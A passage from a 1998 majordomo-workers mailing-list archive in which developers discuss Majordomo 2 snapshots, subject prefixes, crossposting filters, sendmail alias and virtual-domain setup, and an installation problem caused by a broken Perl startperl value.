(FreeBSD 3.0-BETA i386) Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Natambu Obleton wrote: > Ok I have majordomo and it doesn't work all the time. It core dumps. Are you using perl 5.005_01? I think this caused Majordomo to dump core, no problems AFAIK with either 5.004_04 or 5.005_02. If not, I can't help you. -- Ben Smithurst ben@scientia.demon.co.uk From majordomo-workers-owner Fri Oct 16 18:20:30 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA08685; Fri, 16 Oct 1998 18:00:30 -0700 (PDT) Received: from waste.org (waste.org [38.225.68.2]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id SAA08667 for ; Fri, 16 Oct 1998 18:00:21 -0700 (PDT) Received: by waste.org id <83513-499>; Fri, 16 Oct 1998 20:19:07 -0500 Date: Fri, 16 Oct 1998 20:19:07 -0500 (CDT) From: Oliver Xymoron To: Jason L Tibbitts III cc: Bill Houle , majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 15 Oct 1998, Jason L Tibbitts III wrote: > >>>>> "BH" == Bill Houle writes: > > BH> Not that I think that is a bad idea, but [wc]ouldn't you also make the > BH> Reply-To receiver-defineable? Reply-to doesn't really do what people would like it to and it causes further confusion. Usually it's used to avoid sending duplicates, and I seem to recall that MJ2 already had provisions to avoid that. The subject thing is actually trickier than it seems. If someone who wants the subject marker replies to a message, you then have to remove it for everyone who doesn't want it. Adding it when it's not present is always "safe" in that you're not changing the content but removing it isn't necessarily so easy. What I've been thinking about lately is a scheme to reduce crossposting. This would probably consist of a list of known lists and possibly a list of name patterns (/linux-\w+@vger/, etc), and then rewriting to:s and cc:s to remove them (or, alternately, bounce the message). Possibly add an X- header to indicate changes were made. Thoughts. -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." From majordomo-workers-owner Fri Oct 16 18:35:21 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA08727; Fri, 16 Oct 1998 18:02:51 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id SAA08720 for ; Fri, 16 Oct 1998 18:02:45 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id UAA04030; Fri, 16 Oct 1998 20:21:53 -0500 (CDT) To: majordomo-workers@greatcircle.com Cc: BCosta@Stone-Age.com Subject: New snapshot Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 16 Oct 1998 20:21:52 -0500 Message-ID: Lines: 23 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I have placed a new snapshot in ftp.hpc.uh.edu:/pub/majordomo/. This one contains many bug fixes, including some bad bugs that blew out fresh installations that Dave Hayes found, the latest of Bill Dickson's help docs, and various other goodies. The digest state tracking and decision algorithm are all in, and my test lists are tracking digest state just fine. It isn't actually building digests, though, but it shouldn't be too long now. Custom digest retrieval from the archives _is_ working, though; you can do 'archive-get list 19981015' to get a digest of all messages from that day, or choose selected named messages, or get the last N messages. Also not yet in is Randall Winchester's code for automatically maintaining the sendmail aliases. I'm going to work up Makefile.PL and postinstall to ask you whether or not you want this and to create the file with the proper permissions. My thought is to make the file in the /etc/mail directory (or, of course, wherever the user says to put it) because we know Sendmail will take things in that directory. The file would be named something like aliases-mj-domain (one for each domain). It would be up to the installer to hack sendmail.cf and to set up the virtual domain table appropriately. (Unless we can do that, too; I just don't know how.) Majordomo2 info is at http://www.hpc.uh.edu/majordomo/. - J< From majordomo-workers-owner Fri Oct 16 19:04:12 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA09299; Fri, 16 Oct 1998 18:55:49 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id SAA09290 for ; Fri, 16 Oct 1998 18:55:41 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA04333; Fri, 16 Oct 1998 21:14:45 -0500 (CDT) To: Oliver Xymoron Cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 16 Oct 1998 21:14:45 -0500 In-Reply-To: Oliver Xymoron's message of "Fri, 16 Oct 1998 20:19:07 -0500 (CDT)" Message-ID: Lines: 77 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "OX" == Oliver Xymoron writes: OX> Reply-to doesn't really do what people would like it to and it causes OX> further confusion. Usually it's used to avoid sending duplicates, and I OX> seem to recall that MJ2 already had provisions to avoid that. Well, sort of. The idea is there as well as the basic support but it hasn't actually been put in yet. The idea is to look at To: and CC: and, if any of those addresses are members of the list _and_ they have the 'eliminate duplicates' flag set, then the server can assume that they've already been sent a message and thus not send an additional one. This eliminates the benefit of some things that the list server does (header mods, subject prefix, etc.) but I think it would be quite useful to some. The only important piece I'm missing is a routine to return an array of addresses from a header that contains several separated by commas. Shouldn't be too difficult. OX> The subject thing is actually trickier than it seems. If someone who OX> wants the subject marker replies to a message, you then have to remove OX> it for everyone who doesn't want it. Yes, but it's not too difficult because we already have to look for it to make sure we don't add it again. So we know how to identify it (and Mj2 can do so even if it includes the sequence number) it should be trivial to strip it. OX> What I've been thinking about lately is a scheme to reduce OX> crossposting. My first approximation would be to have a taboo match class: taboo_headers <= 30 END This rejects messages if they crosspost to three or more of the listed lists. Two or less (any two) is OK. I don't think silently rewriting headers is the best way to do this; bouncing the message (or diverting to the list owner to be approved or rejected, perhaps) seems better to me. Of course, if this is set on all of the lists, they'll get several bounces, but that's life. That goes back to the old 'separate invocations don't know anything about each other' problem. There may be ways to reduce this a bit using only taboo_headers and access_rules by looking at what comes first on the To: and CC: lines but I'll have to look into that a bit. This makes use of three seriously underdocumented features: severities, match classes, and the whole access_rules thing. You can give a taboo match a name; these are called 'crosspost'. You can give them each an integer (positive or negative); these are accumulated in variables named after the match class that you can test against in access_rules. You can do all sorts of things with these. Eventually this will all get documented. I'll add this example to the cookbook (which now has two problems and four solutions). I'm also having musings about having a global message-ID database and tracking each list that a message passes through. Then you really could do something about the 'separate invocations' problem. I don't know if this is really needed, though. - J< From majordomo-workers-owner Fri Oct 16 19:34:42 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id TAA09713; Fri, 16 Oct 1998 19:15:56 -0700 (PDT) Received: from waste.org (waste.org [38.225.68.2]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id TAA09706 for ; Fri, 16 Oct 1998 19:15:47 -0700 (PDT) Received: by waste.org id <83528-499>; Fri, 16 Oct 1998 21:34:24 -0500 Date: Fri, 16 Oct 1998 21:34:23 -0500 (CDT) From: Oliver Xymoron To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 16 Oct 1998, Jason L Tibbitts III wrote: > >>>>> "OX" == Oliver Xymoron writes: > > OX> Reply-to doesn't really do what people would like it to and it causes > OX> further confusion. Usually it's used to avoid sending duplicates, and I > OX> seem to recall that MJ2 already had provisions to avoid that. > > Well, sort of. The idea is there as well as the basic support but it > hasn't actually been put in yet. The idea is to look at To: and CC: and, > if any of those addresses are members of the list _and_ they have the > 'eliminate duplicates' flag set, then the server can assume that they've > already been sent a message and thus not send an additional one. Seems sufficient. > OX> The subject thing is actually trickier than it seems. If someone who > OX> wants the subject marker replies to a message, you then have to remove > OX> it for everyone who doesn't want it. > > Yes, but it's not too difficult because we already have to look for it to > make sure we don't add it again. So we know how to identify it (and Mj2 > can do so even if it includes the sequence number) it should be trivial to > strip it. Not true in general - imagine a subject marker "foo" - shall we remove that from all subject lines? From the word foot? The subject marker would have to be guaranteed unambiguous, either by the use of reserved characters or by the use of intelligent list owners. If it wasn't obvious to you from my above complaint, it's going to be completely mysterious to the typical list admin. > OX> What I've been thinking about lately is a scheme to reduce > OX> crossposting. > > My first approximation would be to have a taboo match class: > > taboo_headers < /^(to|cc):.*some-list/i 10,crosspost > /^(to|cc):.*some-other-list/i 10,crosspost > /^(to|cc):.*another-related-list/i 10,crosspost > /^(to|cc):.*yet-another-list/i 10,crosspost > /^(to|cc):.*and-another/i 10,crosspost > END > > Then trip it with an access_rule: > > access_rules < post > deny, mailfile=nocrossposting > $taboo_crosspost >= 30 > END Hmmm... bouncing is one solution, but the solution of modifying the headers is probably preferable sometimes. Imagine user-a crossposts to list-1 and list-2. He's a member of both, so both are processed. Fine. The problem arises when user-b only on list-2 replies without editing the header, and leaves the list-1 owner to decide whether to approve it, if the list bounces non-member submissions. With crossposting, the resulting threads (which are only limited to the union of all list topics) are generally much more problematic than the initial post (which may in fact be in the intersection of appropriate topics). I'm giving some serious thought to patching this into my MJ1 setup in the near future because I've been seeing an increasing amount of crossposting in recent months. -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." From majordomo-workers-owner Fri Oct 16 21:34:17 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id VAA11480; Fri, 16 Oct 1998 21:27:10 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id VAA11472 for majordomo-workers@greatcircle.com; Fri, 16 Oct 1998 21:27:08 -0700 (PDT) Received: from sparc.SanDiegoCA.NCR.COM (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA16339 for ; Thu, 15 Oct 1998 17:04:04 -0700 (PDT) Received: from ssol020.sandiegoca.ncr.com (ssol020.SanDiegoCA.NCR.COM [153.64.69.48]) by sparc.SanDiegoCA.NCR.COM (8.8.8/8.8.5) with ESMTP id RAA02897; Thu, 15 Oct 1998 17:22:41 -0700 (PDT) From: Bill Houle Received: (from bhoule@localhost) by ssol020.sandiegoca.ncr.com (8.8.7/8.8.5) id RAA10401; Thu, 15 Oct 1998 17:22:40 -0700 (PDT) Message-Id: <199810160022.RAA10401@ssol020.sandiegoca.ncr.com> Subject: Re: Quiet in here To: tibbs@hpc.uh.edu (Jason L Tibbitts III) Date: Thu, 15 Oct 1998 17:22:40 -0700 (PDT) Cc: majordomo-workers@GreatCircle.COM In-Reply-To: from "Jason L Tibbitts III" at Oct 15, 98 05:13:59 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason L Tibbitts III said: > > After watching constant flamewars in several mailing lists I'm on, I've > been thinking about a way to let users choose whether or not they want to > see a subject prefix. I think that once the above delivery engine surgery > is done this can come at little cost. Ideas? Not that I think that is a bad idea, but [wc]ouldn't you also make the Reply-To receiver-defineable? That is always another sure fire flamefest topic (and given the choice, I know what I'd use regardless of what the list admin might have preselected for me)... --bill From majordomo-workers-owner Fri Oct 16 21:49:20 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id VAA11444; Fri, 16 Oct 1998 21:26:19 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id VAA11434 for majordomo-workers@greatcircle.com; Fri, 16 Oct 1998 21:26:16 -0700 (PDT) Received: from post.mail.demon.net (post-12.mail.demon.net [194.217.242.41]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id MAA12072 for ; Thu, 15 Oct 1998 12:08:47 -0700 (PDT) Received: from [212.228.155.84] (helo=A470.demon.co.uk) by post.mail.demon.net with smtp (Exim 2.05 #1) id 0zTt3M-0004cW-00 for majordomo-workers@greatcircle.com; Thu, 15 Oct 1998 19:27:19 +0000 Received: (qmail 7867 invoked by uid 500); 15 Oct 1998 17:01:05 -0000 Message-ID: <19981015170105.A7335@netlink.co.uk> Date: Thu, 15 Oct 1998 17:01:05 +0000 From: Darren Wyn Rees To: majordomo-workers@greatcircle.com, majordomo-users@greatcircle.com Subject: use of "end" in main majordomo script Mail-Followup-To: majordomo-workers@greatcircle.com, majordomo-users@greatcircle.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93i X-WWW: http://www.netlink.co.uk/cgi-merlin/lwgate X-PGP: finger merlin@netlink.co.uk for key X-PGP-Fingerprint: F8 79 5E 84 F0 20 A5 62 FA 2D E9 BD BE 06 7D 10 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk The best 'tweak' I've seen of Majordomo (1.94.4) was also the simplest : the addition of the _single word 'end' (circa. line 1687 of the Majordomo perl script). With lists configured with subscribe policy as open+confirm the Majordomo would then send confirmation messages as [...] >If you really want this action to be taken, please send the following >commands (exactly as shown) back to "Majordomo@somewhere.com": auth 995122a8 subscribe sfa merlin@netlink.co.uk end [...] People _new to Majordomo usage tend to be oblivious to the fact that sending an erroneous cmd to Majordomo causes it send several hundred lines of 'help' info. Many people use non-standard .sigs/.sig separators (use of /^-/ doesn't cover most of those instances) and this also causes long error messages. The above use of 'end' hedges the odds that a help message will not be generated. Well, the above is just an /opinion/: A large section of the Majordomo user community only use dial-up connectivity and seek a MLM which responds as _tautly as possible (unlike this msg!). -- Darren Rees merlin@netlink.co.uk 2000+ Berfau; fformat .zip .htm M$ Access CSV http://www.netlink.co.uk/users/merlin/berfau/ From majordomo-workers-owner Sat Oct 17 09:44:15 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id JAA21534; Sat, 17 Oct 1998 09:40:40 -0700 (PDT) Received: from waste.org (waste.org [38.225.68.2]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA21520 for ; Sat, 17 Oct 1998 09:40:30 -0700 (PDT) Received: by waste.org id <83434-499>; Sat, 17 Oct 1998 11:59:30 -0500 Date: Sat, 17 Oct 1998 11:59:29 -0500 (CDT) From: Oliver Xymoron To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 17 Oct 1998, Jason L Tibbitts III wrote: > I would just stick a subroutine call somewhere early in resend to avoid > firing off so many subprocesses. In Mj2 I can just call a hook when > Mj::Resend::post starts up and pass it a MIME Entity (plus other stuff, of > course). You could do anything you wanted with that hook. The only > difficulty is deciding where the site owner defines these hooks and, of > course, in what hooks we have. (One before filtering, one after filtering, > one after header and body modification, I suppose.) The MJ2 way to do it is probably to allow the site owner to upload modules to GLOBAL somewhere that are automatically 'use'd. Neat, but also kindof scary. -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." From majordomo-workers-owner Sat Oct 17 09:59:14 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id JAA21484; Sat, 17 Oct 1998 09:33:52 -0700 (PDT) Received: from neviim.torah.org (neviim.torah.org [207.239.101.202]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA21477 for ; Sat, 17 Oct 1998 09:33:43 -0700 (PDT) Received: from localhost (brozen@localhost) by neviim.torah.org (8.8.8/8.8.8) with ESMTP id MAA25485; Sat, 17 Oct 1998 12:52:46 -0400 Date: Sat, 17 Oct 1998 19:52:46 +0300 (IDT) From: Brock Rozen Reply-To: Brock Rozen To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM, BCosta@Stone-Age.com Subject: Re: New snapshot In-Reply-To: Message-ID: X-Backup: Disable X-URL: http://www.torah.org/~brozen MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 16 Oct 1998, Jason L Tibbitts III wrote: > Also not yet in is Randall Winchester's code for automatically maintaining > the sendmail aliases. I'm going to work up Makefile.PL and postinstall to > ask you whether or not you want this and to create the file with the proper > permissions. My thought is to make the file in the /etc/mail directory > (or, of course, wherever the user says to put it) because we know Sendmail > will take things in that directory. The file would be named something like > aliases-mj-domain (one for each domain). It would be up to the installer > to hack sendmail.cf and to set up the virtual domain table appropriately. > (Unless we can do that, too; I just don't know how.) In my sendmail 8.8.8 config file (should be the same for 8.9.x): # location of alias file O AliasFile=/etc/aliases,/etc/aliases.mj and then you just restart sendmail (that might be trickier because you need to know it's pid, which is listed in a file which is set in the sendmail.cf file -- mine is stored in /var/run/sendmail.pid -- and it usually needs to be done as root; probably better to have the user do this, although modifying the sendmail.cf is w/o consequences as long as sendmail is started and as long as we back it up to sendmail.cf.mj-backup or something). Oh, newaliases needs to be run as well, AFTER you restart sendmail -- and it'll compile the databases for all of the alias files. -- ---------------------------------- | Brock Rozen | brozen@torah.org | ---------------------------------- From majordomo-workers-owner Sat Oct 17 11:29:56 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id LAA22637; Sat, 17 Oct 1998 11:20:02 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id LAA22591 for ; Sat, 17 Oct 1998 11:19:35 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA13339; Sat, 17 Oct 1998 13:38:45 -0500 (CDT) To: Brock Rozen Cc: majordomo-workers@GreatCircle.COM Subject: Re: New snapshot References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 17 Oct 1998 13:38:44 -0500 In-Reply-To: Brock Rozen's message of "Sat, 17 Oct 1998 19:52:46 +0300 (IDT)" Message-ID: Lines: 12 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BR" == Brock Rozen writes: [Instructions on how to add new aliases files] I understand how to do that, and I have no intention of doing any of it automatically. Poking around in sendmail.cf is bad news. It is also completely wrong for every site that uses the M4 config files. I was more interested in how you define virtual domains, what the virtusertable looks like, etc. - J< From majordomo-workers-owner Sat Oct 17 11:44:15 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id LAA22699; Sat, 17 Oct 1998 11:21:17 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id LAA22689 for majordomo-workers@greatcircle.com; Sat, 17 Oct 1998 11:21:15 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id TAA09903 for ; Fri, 16 Oct 1998 19:30:22 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA04700; Fri, 16 Oct 1998 21:49:28 -0500 (CDT) To: Oliver Xymoron Cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 16 Oct 1998 21:49:27 -0500 In-Reply-To: Oliver Xymoron's message of "Fri, 16 Oct 1998 21:34:23 -0500 (CDT)" Message-ID: Lines: 35 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "OX" == Oliver Xymoron writes: OX> Not true in general - imagine a subject marker "foo" - shall we remove OX> that from all subject lines? Duh, now I see what you mean. Yes, that is a problem, but it's mostly solved by making the prefix odd enough. How often does "[Prefix]:" appear on a regular message when it's not really the prefix? (And even if it did appear, I probably wouldn't mind having it stripped anyway.) OX> Hmmm... bouncing is one solution, but the solution of modifying the OX> headers is probably preferable sometimes. If I send a message somewhere and it does somewhere else (or at least, to some places and not others) and I'm not informed about it, I'm going to get pissed. But that's just me; I generally try to make sure I know where I'm sending messages. Lots of people don't. OX> The problem arises when user-b only on list-2 replies without editing OX> the header, and leaves the list-1 owner to decide whether to approve OX> it, if the list bounces non-member submissions. Were I such a list owner, I would simply send to the bit bucket (using an access rule, of course) any crossposted message to my closed list. However, I can see the utility for something like this and I'd be interested to know what you come up with. One first approximation to this is to add To: and CC: to skip_headers (which is now a per-list config variable instead of a hardcoded string in resend) and add To: list-name to message_headers. Of course, this removes legitimate CC's, perhaps to people who aren't members. It does have some utility, however. - J< From majordomo-workers-owner Sat Oct 17 11:59:15 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id LAA22723; Sat, 17 Oct 1998 11:21:28 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id LAA22715 for majordomo-workers@greatcircle.com; Sat, 17 Oct 1998 11:21:25 -0700 (PDT) Received: from waste.org (waste.org [38.225.68.2]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id TAA10284 for ; Fri, 16 Oct 1998 19:50:55 -0700 (PDT) Received: by waste.org id <83528-499>; Fri, 16 Oct 1998 22:06:35 -0500 Date: Fri, 16 Oct 1998 22:06:35 -0500 (CDT) From: Oliver Xymoron To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 16 Oct 1998, Jason L Tibbitts III wrote: > >>>>> "OX" == Oliver Xymoron writes: > > OX> Not true in general - imagine a subject marker "foo" - shall we remove > OX> that from all subject lines? > > Duh, now I see what you mean. Yes, that is a problem, but it's mostly > solved by making the prefix odd enough. How often does "[Prefix]:" appear > on a regular message when it's not really the prefix? (And even if it did > appear, I probably wouldn't mind having it stripped anyway.) > > OX> Hmmm... bouncing is one solution, but the solution of modifying the > OX> headers is probably preferable sometimes. > > If I send a message somewhere and it does somewhere else (or at least, to > some places and not others) and I'm not informed about it, I'm going to get > pissed. But that's just me; I generally try to make sure I know where I'm > sending messages. Lots of people don't. The message goes where you sent it. But recipients on lists that remove other lists from the headers only see it addressed to a single list. > OX> The problem arises when user-b only on list-2 replies without editing > OX> the header, and leaves the list-1 owner to decide whether to approve > OX> it, if the list bounces non-member submissions. > > Were I such a list owner, I would simply send to the bit bucket (using an > access rule, of course) any crossposted message to my closed list. And that's what I tend to do. But there's also the case where there is a large intersection of readership on list-1 and list-2 and crossposted threads tend to live a long time. > However, I can see the utility for something like this and I'd be > interested to know what you come up with. > > One first approximation to this is to add To: and CC: to skip_headers > (which is now a per-list config variable instead of a hardcoded string in > resend) and add To: list-name to message_headers. Of course, this removes > legitimate CC's, perhaps to people who aren't members. It does have some > utility, however. I'm going to work on a MJ1.9x patch then (cuz it will be a while before I can put 2.0 into production and I could use this feature on a few dozen lists right now) that breaks up To: and Cc: lines and removes offending entries. -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." From majordomo-workers-owner Sat Oct 17 16:44:16 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA26009; Sat, 17 Oct 1998 16:29:39 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id QAA26002 for ; Sat, 17 Oct 1998 16:29:33 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id SAA17129; Sat, 17 Oct 1998 18:48:45 -0500 (CDT) To: "Tim Treaster" Cc: majordomo-workers@GreatCircle.COM Subject: Re: Virtual Server Install Prob. References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 17 Oct 1998 18:48:45 -0500 In-Reply-To: "Tim Treaster"'s message of "Sat, 17 Oct 1998 16:35:09 -0700" Message-ID: Lines: 36 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk TT> "Error executing /usr/local/mj2/bin/mj_shell, 65280 at postinstall line 418" The c-shell wrappers are not able to exec the actual perl code. TT> bytewaresys: {20} % ~/usr/local/mj2/bin/.mj_shell TT> BEGIN: not found TT> $::LIBDIR: not found TT> $::LISTDIR=: not found TT> $::DEFDOM: not found TT> $::LOCKDIR=: not found Ummm, why does it look to me like it's trying to run .mj_shell as a shell script? What are the first few lines of .mj_shell? It should start with something like: #!/path/to/perl -wT It looks to me like this is either wrong, it points to a path that does not exist, or it actually says something like #!/bin/sh which would be really hosed. Also do perl -V:startperl as the installation process uses the result of that as the first line of the scripts. This is always supposed to reflect the normal way you start Perl, but your Perl installation could be broken. You needn't bother with the syscall trace, since it's obvious now why the wrappers can't run the file. Normally, though, the way you get one depends on the OS; for Linux you use 'strace', for Solaris you use 'truss'. Other OSes differ. - J< From majordomo-workers-owner Sat Oct 17 17:44:16 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id RAA26548; Sat, 17 Oct 1998 17:39:16 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA26541 for ; Sat, 17 Oct 1998 17:39:10 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id TAA17655; Sat, 17 Oct 1998 19:58:27 -0500 (CDT) To: "Tim Treaster (Quick)" Cc: majordomo-workers@greatcircle.com Subject: Re: Virtual Server Install Prob. References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 17 Oct 1998 19:58:26 -0500 In-Reply-To: "Tim Treaster's message of "Sat, 17 Oct 1998 16:58:10 -0700" Message-ID: Lines: 22 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "TT(" == Tim Treaster (Quick) writes: TT> # use perl -wT TT> bytewaresys: {5} % perl -V:startperl TT> startperl=': # use perl'; Your perl installation is busted; we are supposed to be able to rely upon the value of startperl in order to make our scripts work. We depend on other things there, like 'cc', but that is apparently correct for your system because the wrappers seem to have built OK. I'll see about hacking some code into Makefile.PL to make sure that this value at least looks correct, giving you the opportunity to change it if it's broken. In the meantime, try changing the first line of all of the perl scripts in their final installed location to something that really starts Perl on your system. (Don't change the copies that come straight out of CVS, since they'll have the wrong values substituted back in.) I should have some fixes into CVS within the hour. - J< From majordomo-workers-owner Sun Oct 18 01:04:18 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id AAA29957; Sun, 18 Oct 1998 00:54:00 -0700 (PDT) Received: from out2.ibm.net (out2.ibm.net [165.87.194.229]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id AAA29950 for ; Sun, 18 Oct 1998 00:53:53 -0700 (PDT) Received: from torah.org (slip139-92-182-102.tel.il.ibm.net [139.92.182.102]) by out2.ibm.net (8.8.5/8.6.9) with ESMTP id IAA50682; Sun, 18 Oct 1998 08:12:53 GMT Message-ID: <3629A17D.5304BB12@torah.org> Date: Sun, 18 Oct 1998 10:06:21 +0200 From: Brock Rozen Reply-To: brozen@torah.org Organization: Project Genesis X-Mailer: Mozilla 4.06 [en] (Win95; U) MIME-Version: 1.0 To: Jason L Tibbitts III CC: majordomo-workers@GreatCircle.COM Subject: Re: New snapshot References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason L Tibbitts III wrote: > I was more interested in how you define virtual domains, what the > virtusertable looks like, etc. Well, vut (virtusertable) also needs to be setup in the config files (M4) as it adds a whole bunch of rulesets. That includes what file is uses for the text layout (default I believe is /etc/virtusertable) and what file for the database (d: /etc/virtusertable.db). You also need to specify what database format to use. Then everytime you edit the text layout, you need to turn it into that database format, and the string used to do that is different depending on which database format you chose. We use btree, for example, but you can use a whole bunch of other formats. In other words, it's not simple -- and I'm not even sure you can use multiple databases. As for defining the hosts that you're allowed to use (you can stick anything you want into the database, but if sendmail isn't accepting mail for them, it won't matter) -- you stick them into the sendmail.cw file, which lists the hosts sendmail will accept mail for. So if you accept mail for 10 hosts, any one of them could use the vut. -- --------------- | Brock Rozen | --------------- From majordomo-workers-owner Sun Oct 18 16:20:08 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA11345; Sun, 18 Oct 1998 16:05:59 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id QAA11327 for majordomo-workers@greatcircle.com; Sun, 18 Oct 1998 16:05:54 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id HAA20688 for ; Sat, 17 Oct 1998 07:55:56 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA10838; Sat, 17 Oct 1998 10:15:06 -0500 (CDT) To: Oliver Xymoron 